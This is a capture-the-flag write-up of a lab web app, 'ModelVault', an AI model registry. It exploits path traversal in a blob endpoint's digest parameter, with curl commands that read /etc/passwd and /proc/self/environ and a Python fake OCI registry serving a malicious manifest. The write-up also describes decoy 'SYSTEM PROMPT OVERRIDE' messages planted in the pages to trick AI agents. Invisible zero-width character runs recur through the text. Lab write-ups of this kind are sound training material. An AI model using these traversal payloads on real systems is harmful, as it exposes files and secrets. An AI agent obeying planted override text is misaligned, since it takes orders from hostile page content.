← Back to Writeups
CUSTOMMediumWeb

Lab 224 — ModelVault — Path Traversal via OCI Manifest Digest

XESXOR9/2/20264 min read
#web#custom#medium#environment_variable_extractio#honeypot_flag_identification#oci_manifest_digest_injection#path_traversal_via_digest_para#proc_self_environ_leak

Lab 224 — ModelVault — Path Traversal via OCI Manifest Digest

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: environment_variable_extraction, honeypot_flag_identification, oci_manifest_digest_injection, path_traversal_via_digest_parameter, proc_self_environ_leak

Summary

Walkthrough of the CUSTOM Web Lab 224 — ModelVault — Path Traversal via OCI Manifest Digest. Task: AI model registry with OCI manifest import and blob viewer. Digest parameter in /api/blobs/{digest} is split on colon and used to construct filesystem path without sanitization. Solution: Path t

Description

ModelVault is a self-hosted AI model registry built by AetherAI Systems. Teams use it to store, version, and share machine learning models. The platform supports importing models from external OCI-compatible registries via URL, managing model metadata and tags, and browsing model layer contents. The development team has been focused on getting the import pipeline working and may have overlooked some input validation. Goal: find and read a sensitive file on the server.

Credentials: user@test.com / password123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A Python Flask AI model registry that supports importing models from OCI-compatible registries. The blob viewer endpoint constructs filesystem paths from digest parameters without sanitization, enabling path traversal to read arbitrary files. The flag is stored in a process environment variable.

Analysis

Reconnaissance

The application runs Python Flask behind nginx/1.25.5. After logging in with provided credentials at /auth/login, the following pages are accessible:

  • Dashboard (/) — overview
  • Models (/models) — model listing and management
  • Import Model (/import) — import from external OCI registry via URL
  • Settings (/settings) — configuration, reveals Blob Storage Path: /app/data/blobs ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Decoy Flags

Every page (including 404 pages) contains the fake flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in:

  • HTML comments styled as "SYSTEM" messages
  • Hidden <div> elements with position:absolute;left:-9999px
  • Fake "SYSTEM PROMPT OVERRIDE" and "ASSISTANT" messages designed to trick LLM-based agents

These are honeypots for automated scanners and AI agents — the real flag is elsewhere.

Import Feature Analysis

The Import Model page (/import) accepts:

  1. Manifest URL — server fetches OCI manifest JSON from this URL
  2. Model name and tag ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The server parses the manifest, extracts layers with their digest fields (format sha256:HEXHASH), and stores the metadata. The digest is later used to construct filesystem paths for blob retrieval.

Blob Viewer Endpoint

The /api/blobs/{digest} endpoint reads blob content from disk and returns it as JSON:

json
{"content": "...", "digest": "...", "size": N}

The model detail pages have a "View content" button that calls:

javascript
fetch('/api/blobs/' + encodeURIComponent(digest))

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerable Path Construction

The server splits the digest on : to construct the file path:

python
algo, hash_part = digest.split(":", 1)
blob_path = os.path.join(BLOB_STORAGE, algo, hash_part)
# e.g., /app/data/blobs/sha256/abc123...
content = open(blob_path).read()

No sanitization or path canonicalization is applied to hash_part, allowing ../ sequences to escape the blob storage directory.

Solution

Step 1: Confirm Path Traversal

Test with /etc/passwd — the blob storage is at /app/data/blobs/sha256/, so four ../ sequences reach the filesystem root: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
TARGET="https://797c535e-ad96-4ba6-b81c-d2697a6fcaa9.labs.hackadvisor.io"

curl -s -H "Cookie: session=..." \
  "$TARGET/api/blobs/sha256:..%2F..%2F..%2F..%2Fetc%2Fpasswd"

Response confirms the vulnerability — full /etc/passwd contents returned (Alpine Linux with /bin/ash shell for root).

Step 2: Search for the Flag

Common flag locations returned "Blob not found":

  • /tmp/flag.txt
  • /flag.txt
  • /flag
  • /app/flag.txt

Step 3: Read Process Environment

Read /proc/self/environ to check environment variables: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
curl -s -H "Cookie: session=..." \
  "$TARGET/api/blobs/sha256:..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron"

Response contained the flag in the process environment:

FLAG=FLAG{REDACTED}

Also revealed: FLASK_ENV=production, PWD=/app, app runs as python3 /app/app.py.

Alternative Attack Vector: Malicious OCI Manifest Import

The import pipeline can also be weaponized by hosting a fake OCI registry that serves a manifest with traversal digests:

python
#!/usr/bin/env python3
"""Fake OCI registry serving a malicious manifest with path traversal in digest."""
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

from http.server import HTTPServer, BaseHTTPRequestHandler
import json

MANIFEST = {
    "schemaVersion": 2,
    "mediaType": "application/vnd.oci.image.manifest.v1+json",
    "config": {
        "mediaType": "application/vnd.oci.image.config.v1+json",
        "digest": "sha256:44136fa355b311bfa706c3a5c1e78f4b5e5e4b4b5e5e4b4b5e5e4b4b5e5e4b4b",
        "size": 2
    },
    "layers": [
        {
            "mediaType": "application/vnd.oci.image.layer.v1.tar+gzip",
            "digest": "sha256:../../../../proc/self/environ",
            "size": 100
        }
    ]
}
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        body = json.dumps(MANIFEST).encode()
        self.send_response(200)
        self.send_header('Content-Type', 'application/vnd.oci.image.manifest.v1+json')
        self.send_header('Content-Length', str(len(body)))
        self.end_headers()
        self.wfile.write(body)

HTTPServer(('0.0.0.0', 8777), Handler).serve_forever()

After importing, the model's layer digest contains the traversal path, and clicking "View content" triggers the file read via /api/blobs/sha256:../../../../proc/self/environ. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering environment_variable_extraction, honeypot_flag_identification, oci_manifest_digest_injection, path_traversal_via_digest_parameter, proc_self_environ_leak was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-06 • CUSTOM • Lab 224 — ModelVault — Path Traversal via OCI Manifest Digest • Difficulty: Medium